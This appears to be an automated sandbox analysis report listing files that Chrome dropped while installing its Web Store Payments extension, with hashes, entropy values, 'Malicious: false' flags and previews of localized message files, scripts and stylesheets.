Preview:	{.. "app_description": {.. "message": "Pagamentos da Chrome Web Store".. },.. "app_name": {.. "message": "Pagamentos da Chrome Web Store".. },.. "craw_app_unavailable": {.. "message": "Aplicativo indispon.vel no momento.".. },.. "craw_connect_to_network": {.. "message": "Conecte-se a uma rede.".. },.. "iap_unavailable": {.. "message": "No momento, os Pagamentos no aplicativo n.o est.o dispon.veis.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Fa.a login no Google Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\pt_PT\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	622
Entropy (8bit):	4.526171498622949
Encrypted:	false
SSDEEP:	12:1HEJsZUkbGGsZUkb+WYpU34OAE+dgqxKzO8ZpU34rEpBfvPO03OyZnLAOfTYLD:1HEmUka5Uk6WYpFvdxZ8ZpSTnPlOGAOS
MD5:	750A4800EDB93FBE56495963F9FB3B94
SHA1:	8BFB915488A4EB3CB33D68E2E59F1F8447DB7D61
SHA-256:	C1C94F65FABAF17DEF98A8587711A56D61B1E5607500E9B01F2824DB109F9E83
SHA-512:	2AEDEF5793406221BE76AF22031CE8C30AB5FAEAED09BB394C153E2EBE990C89C1A2A73B40D8A92842641AFCA8C77FFD808A2058602D3646FD8DAE2844406F24
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Pagamentos via Chrome Web Store".. },.. "app_name": {.. "message": "Pagamentos via Chrome Web Store".. },.. "craw_app_unavailable": {.. "message": "Aplica..o atualmente indispon.vel.".. },.. "craw_connect_to_network": {.. "message": "Ligue-se a uma rede.".. },.. "iap_unavailable": {.. "message": "Os Pagamentos na app est.o atualmente indispon.veis.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Inicie sess.o no Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\ro\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	641
Entropy (8bit):	4.61125938671415
Encrypted:	false
SSDEEP:	12:1HEJqJrJZGGqJrJZ+WYpU344HIx2Z+dgrVPlZO8ZpU34qT7hI3O03OyZnLAOfTYU:1HEC4D8WYpKow8WV68ZpKhoOGAOfoVGD
MD5:	98D43E4B1054A65DF3FA3CC40AB6FB6D
SHA1:	46E0A21C4DA2BB5D4D8F837AE211C1B6FA26E7E2
SHA-256:	113A13900CBA62FE8AED06751971C23A80A99B47F9BE219CF884D57DB19611D9
SHA-512:	A76DC53912A4F46714926B9EA2B22E909540E447F61F6DD72607AB7B3BB5D4A9B39E525B04C33AEC53BA813D14AC1FB5827275B2524E52B693E83171E1CD1466
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Pl..i prin Magazinul web Chrome".. },.. "app_name": {.. "message": "Pl..i prin Magazinul web Chrome".. },.. "craw_app_unavailable": {.. "message": ".n prezent, aplica.ia nu este disponibil..".. },.. "craw_connect_to_network": {.. "message": "Conecteaz.-te la o re.ea.".. },.. "iap_unavailable": {.. "message": "Pl..ile .n aplica.ie nu sunt disponibile momentan.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Conecteaz.-te la Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\ru\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	744
Entropy (8bit):	4.918620852166656
Encrypted:	false
SSDEEP:	12:1HEJ7OJHZMSl3ZGG7OJHZMSl3Z+WYpU34zWJ2F+dgVtLSv/TO8ZpU347NWjT03On:1HElOJHZMq4uOJHZMq8WYpdWJ/YGHq8m
MD5:	DB2EDF1465946C06BD95C71A1E13AE64
SHA1:	FB4F3ECE9ECECEBBC6CA2A592A15FB9C1FDFB811
SHA-256:	FBAF22CE6E16DE174CED8CB5EA3098CCA1C3426A2111FF33BD3E64DA64ED67AB
SHA-512:	4E0CF00BAEF1757548DEB17BBE1AF55770A0A0F7351779EF55C7DEFA6D112D0227B8865C2C22E0EC62E6E2F1C8E1632A2D0CE6828D25C5ABBF143C990116F632
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "......... ....... ........-........ Chrome".. },.. "app_name": {.. "message": "......... ....... ........-........ Chrome".. },.. "craw_app_unavailable": {.. "message": ".......... ...........".. },.. "craw_connect_to_network": {.. "message": "............ . .....".. },.. "iap_unavailable": {.. "message": "....... ..... .......... ...........".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "....... . Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\sk\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	647
Entropy (8bit):	4.640777810668463
Encrypted:	false
SSDEEP:	12:1HEJfZGGfZ+WYpU34ORO+dgmmCO8ZpU34yH7u2Z03OyZnLAOfTYCUAi0D:1HEl4G8WYpetPmD8ZpcH7aOGAOfzUeD
MD5:	8DF215D1EFBDABB175CCDD68ED8DCB0A
SHA1:	2B374462137A38589A73FDD00A84CBDC7E50F9F4
SHA-256:	7FA16AF97E6CFC52EC6008EB679D3F30E7E0C24F9EF2D18A9228EAF4DED9D63B
SHA-512:	C0E623343BDAEB4731800D183B59F2FCFE285F0C7153EC99641FD84F2F2DCFE47D21E73F3D28B1240340453C5668EB0AFFBE087AAB62F1C88CD2A40CC44E599D
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Platby Internetov.ho obchodu Chrome".. },.. "app_name": {.. "message": "Platby Internetov.ho obchodu Chrome".. },.. "craw_app_unavailable": {.. "message": "Aplik.cia moment.lne nie je dostupn..".. },.. "craw_connect_to_network": {.. "message": "Pripojte sa k sieti.".. },.. "iap_unavailable": {.. "message": "Platby v aplik.cii moment.lne nie s. k dispoz.cii.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Prihl.ste sa do prehliada.a Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\sl\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	617
Entropy (8bit):	4.5101656584816885
Encrypted:	false
SSDEEP:	12:1HEJGcyvmbZGGGcyvmbZ+WYpU34OBOEtf+dgca1ZO8ZpU34GcQArERff03OyZnLh:1HE4cyY4TcyY8WYpNoWa1w8ZpQcQ6AfK
MD5:	3943FA2A647AECEDFD685408B27139EE
SHA1:	0129DD19D28373359530B3B477FE8A9279DABB7D
SHA-256:	18AFF072EE0DF7C3495045435C752A805606E6D5D462EF2321C443F1773F4B3A
SHA-512:	42E62B3855611FF2E1D39C11404CB1A09825EE4CA6A8ACB3FF538B4574388F549E3BD79137DD4DC128A8DC44DD270D7D878E4AAD20DA8250A5C25297B0DEC09D
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Pla.ila v spletni trgovini Chrome".. },.. "app_name": {.. "message": "Pla.ila v spletni trgovini Chrome".. },.. "craw_app_unavailable": {.. "message": "Aplikacija trenutno ni na voljo.".. },.. "craw_connect_to_network": {.. "message": "Pove.ite se z omre.jem.".. },.. "iap_unavailable": {.. "message": "Pla.ila v aplikacijah trenutno niso na voljo.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Prijavite se v Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\sr\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	743
Entropy (8bit):	4.913927107235852
Encrypted:	false
SSDEEP:	12:1HEJssbdOGGssbdO+WYpU347xBP+dgcucO8ZpU34s1muP03OyZnLAOfTYzDYD:1HEKsb59sbTWYplx4Xud8Zpy1mNOGAOv
MD5:	D485DF17F085B6A37125694F85646FD0
SHA1:	24D51D8642CDC6EFD5D8D7A4430232D8CDE25108
SHA-256:	7FFDE34C58E7C376C042DE64DEF6481DAE32BE8B70F0B18EDF536290CBE0C818
SHA-512:	0DDECFD860E99290B6C3AAA04F510272AE081CF2D93ED5832D9D6378EC9D36177FFBE213471247FB94721EA34A83E7665669200047091D0FDE134E3D763217E7
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "....... . Chrome ...-..........".. },.. "app_name": {.. "message": "....... . Chrome ...-..........".. },.. "craw_app_unavailable": {.. "message": ".......... .. ........ ...........".. },.. "craw_connect_to_network": {.. "message": "........ .. .......".. },.. "iap_unavailable": {.. "message": "....... . .......... .. ........ ...........".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "......... .. . Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\sv\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	630
Entropy (8bit):	4.52964089437422
Encrypted:	false
SSDEEP:	12:1HEJJMkbGGJMkb+WYpU34OACwz+dgNPGFZO8ZpU34JgpXLSb03OyZnLAOfTYLdID:1HErMkaqMk6WYpTOcb8ZpDgdZOGAOf8Y
MD5:	D372B8204EB743E16F45C7CBD3CAAF37
SHA1:	C96C57219D292B01016B37DCF82E7C79AD0DD1E8
SHA-256:	B8BA77E0089B0676545EC16D32468B727812B444F90B33A7A5B748E6C36C4388
SHA-512:	33640529E0D5DCC5CA4BDB0615A2818E8D26C6FCB7B3474C08AC3EB67B9DB40E1F0A79954ED20728CD47A686D2533DCBC76ABCBDB917F8530C8DE8BBA687352E
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Betalning via Chrome Web Store".. },.. "app_name": {.. "message": "Betalning via Chrome Web Store".. },.. "craw_app_unavailable": {.. "message": "Appen .r inte tillg.nglig f.r tillf.llet.".. },.. "craw_connect_to_network": {.. "message": "Anslut till ett n.tverk.".. },.. "iap_unavailable": {.. "message": "Betalning i appen .r inte tillg.ngligt f.r n.rvarande.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Logga in i Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\th\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	945
Entropy (8bit):	4.801079428724355
Encrypted:	false
SSDEEP:	24:1HEKa1dDa1/WYp6UFi72SmlG8ZpyactrW2SAOGAOfvSLD:WK2DNYp6U4y3bpyLxwGFW
MD5:	83E2D1E97791A4B2C5C69926EFB629C9
SHA1:	429600425CB0F196DDD717F940E94DBD8BFF2837
SHA-256:	2FECA577F43D97BAEEA464741D585892103585208FD0A935B810A03BDCE83C88
SHA-512:	60A5928DAA8CB4341487F477C56B5A98B83EDE50E5F4F55A802E01FDDAB86F3E795D391953D3D9214552D14D3F58C5A183693C613720FC12FC387D7B8F9B9AB6
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "............... Chrome .........".. },.. "app_name": {.. "message": "............... Chrome .........".. },.. "craw_app_unavailable": {.. "message": ".............................".. },.. "craw_connect_to_network": {.. "message": ".........................".. },.. "iap_unavailable": {.. "message": "...............................................".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "................. Chrome".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\tr\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	631
Entropy (8bit):	4.710869622361971
Encrypted:	false
SSDEEP:	12:1HEJ9Y8GG9Y8+WYpU34wWT+dgGb0GO8ZpU34wryd7T03OyZnLAOfTYGbPKG:1HE0jWYpyRnG8Zpyr/OGAOfFPn
MD5:	2CEAE0567B6BB1D240BBAD690A98CA3B
SHA1:	5944346FBD4A0797B13223895995CAB58E9ECD23
SHA-256:	A7CB86F30C9C31FE5540282C308BA96ADB4EC16EF98C87129EB88105E5BEF5FC
SHA-512:	108A07C6D03D7178E8D0FFEF5349E0249A898D864964FED8757BD8A08BC1C6D9613F2A6C01AA34A6606127D1C6CE14C229FA02586677DBB060B85E3E845950E1
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Chrome Web Ma.azas. .demeleri".. },.. "app_name": {.. "message": "Chrome Web Ma.azas. .demeleri".. },.. "craw_app_unavailable": {.. "message": "Uygulama .u anda kullan.lam.yor.".. },.. "craw_connect_to_network": {.. "message": "L.tfen bir a.a ba.lan.n.".. },.. "iap_unavailable": {.. "message": "Uygulama ..i .demeler .u anda kullan.lamaz.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "L.tfen Chrome'da oturum a..n.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\uk\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	720
Entropy (8bit):	4.977397623063544
Encrypted:	false
SSDEEP:	12:1HEJ7wILkSlXZGG7wILkSlXZ+WYpU34zb1Oy2P+dgSV1EjiTO8ZpU347qtfP2CTW:1HElwEkK4uwEkK8WYpd/dTV1e8Zptq5S
MD5:	AB0B56120E6B38C42CC3612BE948EF50
SHA1:	8B3F520E5713D9F116D68E71DAEED1F6E8D74629
SHA-256:	68ABA284751EB9C856032062EF9B1651E2A1E5CE5FDA0977FFC97D63BA7BED9E
SHA-512:	CD852A58217F739C1CD58567FF432D31A7AD3F68C884ABBA1DA95799BCD1545C6A5D3B06F319681C12B78AD0A709828DE4B22736316F148D21F5DB76A5BCCBEF
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "....... ...-........ Chrome".. },.. "app_name": {.. "message": "....... ...-........ Chrome".. },.. "craw_app_unavailable": {.. "message": "........ ......... ...........".. },.. "craw_connect_to_network": {.. "message": "............. .. .......".. },.. "iap_unavailable": {.. "message": "....... ..... ........ ..... .. .........".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "........ . Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\vi\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	695
Entropy (8bit):	4.855375139026009
Encrypted:	false
SSDEEP:	12:1HEJMAZrSFZGGMAZrSFZ+WYpU34WFHoz+dgdklzoO8ZpU34NFHoz03OyZnLAOfTU:1HEI4B8WYpAKytFZ8ZpXKMOGAOfd6D
MD5:	7EBB677FEAD8557D3676505225A7249A
SHA1:	F161B4B6001AEAEAB246FF8987F4D992B48D47BE
SHA-256:	051F96ED874C11C4A13589B5F68964E4F5B03B52DDA223D56524F2CA23760C04
SHA-512:	74FD267CF7E299FB8E7054605C3F651F057F676FF865082FA24F4916755456768DB0DA62DBC515D829B48AB1F9CFC8AD3E841DCBF1F194D5CB14C5335A192A0D
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Thanh to.n tr.n c.a h.ng Chrome tr.c tuy.n".. },.. "app_name": {.. "message": "Thanh to.n tr.n c.a h.ng Chrome tr.c tuy.n".. },.. "craw_app_unavailable": {.. "message": ".ng d.ng hi.n kh.ng kh. d.ng.".. },.. "craw_connect_to_network": {.. "message": "Vui l.ng k.t n.i v.i m.ng.".. },.. "iap_unavailable": {.. "message": "Thanh to.n trong .ng d.ng hi.n kh.ng kh. d.ng.".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "Vui l.ng ..ng nh.p v.o Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\zh_CN\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	595
Entropy (8bit):	5.210259193489374
Encrypted:	false
SSDEEP:	12:1HEJ01GG01+WYpU34zeHz+dgfO8ZpU34YKiO03OyZnLAOfTYB6U:1HEpIWYpISv8Zp+JOGAOfa6U
MD5:	BB73BF561BB79F89D9BF7C67C5AE5C65
SHA1:	2FADD3A1959B29C44830033A35C637D0311A8C9C
SHA-256:	D804F2A040D21D7511EFD5213D8E1721D64964A1A0DBB48E21622CEEDC9D967E
SHA-512:	627D44CEF1FE5C5ABD598BD47FF5E22B9EFC1CF98DDE3868FA9E5896C134A0C9C055AC34EDDADAE56B6690E51AEA89965D38F770552A85C732CC796795DC68D2
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Chrome .........".. },.. "app_name": {.. "message": "Chrome .........".. },.. "craw_app_unavailable": {.. "message": ".........".. },.. "craw_connect_to_network": {.. "message": ".......".. },.. "iap_unavailable": {.. "message": "............".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "... Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_locales\zh_TW\messages.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	634
Entropy (8bit):	5.386215984611281
Encrypted:	false
SSDEEP:	12:1HEJ2j62GG2j62+WYpU34m7T+dgc8nOO8ZpU34mvIO03OyZnLAOfTYAuH:1HEuSZCWYpsStwP8ZpROGAOfCH
MD5:	5FF50C673CC0C661D615F0CFD0E6DCA0
SHA1:	60DFF98DEAB9C4746B288BDD9C94B3BCAE5EAA85
SHA-256:	C6F8C640F3353A7B9B1432A0C139C1AEEC40133800E6C9B467B63991AD660308
SHA-512:	361D62D91F4931C5F34092C9F2C6A5323D5EEB82A24E7ABE11F7817D8D66341C0ECAD4DCB4B10873920C8D6A3CC9F5704889E178EB2549001A9F62BEDF6C8019
Malicious:	false
Reputation:	low
Preview:	{.. "app_description": {.. "message": "Chrome ............".. },.. "app_name": {.. "message": "Chrome ............".. },.. "craw_app_unavailable": {.. "message": ".............".. },.. "craw_connect_to_network": {.. "message": "......".. },.. "iap_unavailable": {.. "message": "................".. },.. "jwt_retrieve_failed": {.. "message": "The transaction could not be completed.".. },.. "please_sign_in": {.. "message": "... Chrome.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\_metadata\verified_contents.json Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	7780
Entropy (8bit):	5.791315351651491
Encrypted:	false
SSDEEP:	192:RktDNJ2UzsL5KcASyoH+CouKP/iNGRo/oRHMIT:AZQflcsU
MD5:	0834821960CB5C6E9D477AEF649CB2E4
SHA1:	7D25F027D7CEE9E94E9CBDEE1F9220C8D20A1588
SHA-256:	52A24FA2FB3BCB18D9D8571AE385C4A830FF98CE4C18384D40A84EA7F6BA7F69
SHA-512:	9AEAFC3ECE295678242D81D71804E370900A6D4C6A618C5A81CACD869B84346FEAC92189E01718A7BB5C8226E9BE88B063D2ECE7CB0C84F17BB1AF3C5B1A3FC4
Malicious:	false
Reputation:	low
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiZHUtdGRPdUNWcmxDY254Q0poRkg2NXpLU05vb1RiUE56bDNHbzdRMGJ3SSJ9LHsicGF0aCI6Il9sb2NhbGVzL2NhL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJ6ZGtWaF9XdkxJWlhkck5xWHBvSHNRMGh1ZGtSM2d1QlMzb2VsTEZLNklVIn0seyJwYXRoIjoiX2xvY2FsZXMvY3MvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6Ik9nUkNIZlVoam9xOU93NHFfaEhvTTQxNzNMelJyYkVpUVdsRXNRSzhscFkifSx7InBhdGgiOiJfbG9jYWxlcy9kYS9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiN2JVWW1LYkhQUUNRMXBGcmUzTHJySEhwWk9xN1c2Zk5hT0laWmdKUERTTSJ9LHsicGF0aCI6Il9sb2NhbGVzL2RlL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJOV3FkU3Rfc1NFMm9KT2VuSUZtM0pMRm9iOGtBZ3ZTa3RtZGpCRGJWazdBIn0seyJwYXRoIjoiX2xvY2FsZXMvZWwvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6ImgyaEZ0YUJoLXJQUEtoUm00QkFWM0VEZmhFbnh5MElGOVhYT3Z0aHhlNjAifSx7InBhdGgiOiJfbG9jYWxlcy9lbi9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoid0pSZDFmM3NxMERFVTJHLXd

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\craw_background.js Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	544643
Entropy (8bit):	5.385396177420207
Encrypted:	false
SSDEEP:	6144:abyfBNC2FRdjiRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOEzZQ+h72W3GB0n:Ft/g
MD5:	6EEBED29E6A6301E92A9B8B347807F5F
SHA1:	65DFB69B650560551110B33DCBA50B25E5B876DE
SHA-256:	04CD9494B0ED83924DAD12202630B20D053D9E2819C8E826A386C814CC0A1697
SHA-512:	FEDE6DB31F2AD242E7BC7B52A8859BA7F466A0B920A8DADCB32DCFB5B2A2742E98B767FF22E0C5BC5C11FEC021240AA9E458486C9039EB4EBE5CF6AF7BE97BF2
Malicious:	false
Reputation:	low
Preview:	/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var d,e=e\|\|{};e.scope={};e.arrayIteratorImpl=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};e.arrayIterator=function(a){return{next:e.arrayIteratorImpl(a)}};e.ASSUME_ES5=!1;e.ASSUME_NO_NATIVE_MAP=!1;e.ASSUME_NO_NATIVE_SET=!1;e.SIMPLE_FROUND_POLYFILL=!1;e.ISOLATE_POLYFILLS=!1;e.FORCE_POLYFILL_PROMISE=!1;e.FORCE_POLYFILL_PROMISE_WHEN_NO_UNHANDLED_REJECTION=!1;.e.defineProperty=e.ASSUME_ES5\|\|"function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};e.getGlobal=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");};e.global=e.getGlobal(this);.e.IS_SYMBOL_NATIVE="func

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\craw_window.js Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines
Category:	dropped
Size (bytes):	261316
Entropy (8bit):	5.444466092380538
Encrypted:	false
SSDEEP:	3072:I5vU7I6s2M9duIWFCbmYJ4tnFWdqpMad2vywhIp81QFv9F9nNsZgiDdOFlV/mZmc:I5vqFCb2p8Gx9FNNsZ9Dd/ceR
MD5:	1709B6F00A136241185161AA3DF46A06
SHA1:	33DA7D262FFED1A5C2D85B7390E9DBC830CBE494
SHA-256:	5721A4B3F8E09C869A629EFFD350B51C9D46F0AC136717D4DB6265C0EE6F9AC8
SHA-512:	26835B4C050F53AD2DDB84469DF9A84BBB2786A655AB52DFC20B54BEDCB81D1ECD789198D5B7D8B940242E5CEAC818A177444D402397AE82C203438C4B1D19CB
Malicious:	false
Reputation:	low
Preview:	/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var b,k=k\|\|{};k.scope={};k.createTemplateTagFirstArg=function(a){return a.raw=a};k.createTemplateTagFirstArgWithRaw=function(a,c){a.raw=c;return a};k.arrayIteratorImpl=function(a){var c=0;return function(){return c<a.length?{done:!1,value:a[c++]}:{done:!0}}};k.arrayIterator=function(a){return{next:k.arrayIteratorImpl(a)}};k.makeIterator=function(a){var c="undefined"!=typeof Symbol&&Symbol.iterator&&a[Symbol.iterator];return c?c.call(a):k.arrayIterator(a)};.k.arrayFromIterator=function(a){for(var c,d=[];!(c=a.next()).done;)d.push(c.value);return d};k.arrayFromIterable=function(a){return a instanceof Array?a:k.arrayFromIterator(k.makeIterator(a))};k.ASSUME_ES5=!1;k.ASSUME_NO_NATIVE_MAP=!1;k.ASSUME_NO_NATIVE_SET=!1;k.SIMPLE_FROUND_POLYFILL=!1;k.ISOLATE_POLYFILLS=!1;k.FORCE_POLYFILL_PROMISE=!1;k.FORCE_POLYFILL_PROMISE_WHEN_NO_UNHANDLED_REJECTION=!1;.k.objectCreate=k.ASSUME_ES5\|\|"function"==typeof Object.cre

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\css\craw_window.css Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	4.912380256743454
Encrypted:	false
SSDEEP:	24:LalZ74H+rMwJHwIodHRmxt3jiu1iu1RDpfeWlMl548wJHwDwCapt/VMYXj8Eq27K:Z+rMm71le88S1tWYXmrVZFH
MD5:	67BF9AABE17541852F9DDFF8245096CD
SHA1:	A4AC74DD258E8E0689034FAA1B15A5C7C56DC3BB
SHA-256:	10DFBD2D98950B79EE12F6B8E3885AABE31543048DE56AD4FC0A5E34D0D9D4EC
SHA-512:	298FA132C6F122798FDB9BC6DE8024915147ADC20355B56A92F0ED9ACCE4549BE6E7F42212E07DCA166E31624D4E66E299565845D4BA1C51CA935050641B61FE
Malicious:	false
Reputation:	low
Preview:	html, body {. margin: 0;. overflow: hidden;.}..webview {. width: 100%;. height: 100%;. min-height: 100%;. position: absolute;.}...craw_overlay {. position: absolute;.. left: 0;. top: 0;. right: 0;. bottom: 0;.. background-color: white;.. -webkit-transition: opacity 250ms linear;.. display: -webkit-flex;. -webkit-flex-direction: column;. -webkit-flex: 1 0%;. -webkit-align-items: center;. -webkit-justify-content: center;.. -webkit-app-region: drag;.}...craw_overlay img {. margin: 16px;.}..#loading_overlay {. opacity: 1;.}..#offline_overlay {. opacity: 0;. display: none;.}..#offline_overlay > img {. -webkit-filter: saturate(0%);.}..#offline_overlay > span {. font-family: 'Open Sans', 'Deja Vu Sans', Arial, sans-serif;. font-size: 15px;. line-height: 21px;. color: #8d8d8d;. display: block;.}..#loading_splash {. width: 128px;. height: 128px;.}..#drag_overlay {. position: absolute;. left: 0;. top: 0;. right: 0;. bottom: 0;. pointer-events: none;. -webkit

C:\Users\user\AppData\Local\Temp\scoped_dir4724_1003797582\CRX_INSTALL\html\craw_window.html Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	810
Entropy (8bit):	4.723481385335562
Encrypted:	false
SSDEEP:	12:hYenuEJIig5fRpvV4AEdN2sAAuzg/7RwQuLYpUH9KfRnQBGgZKy3QGgjPSWZDQL:hYeLJKTVNEuLAuzg/twQucpS9bj3
MD5:	34A839BC40DEBC746BBD181D9EF9310C
SHA1:	8B4EAA74D31EED5B0BABA3CA5460201F6B10DA46
SHA-256:	BB8742615E4CD996AE5D0200E443AE6A6F0B473255F03AFFDB8FB4660DE4554D
SHA-512:	EE81E5509CBC2CB2B6C834224688C1E1B1AA9AA3866C52F8EAED040D5C390653C52D8D681E2E2CF62906643962ABAC823D5B622385B983B21E0DCCAFDF281EFF
Malicious:	false
Reputation:	low
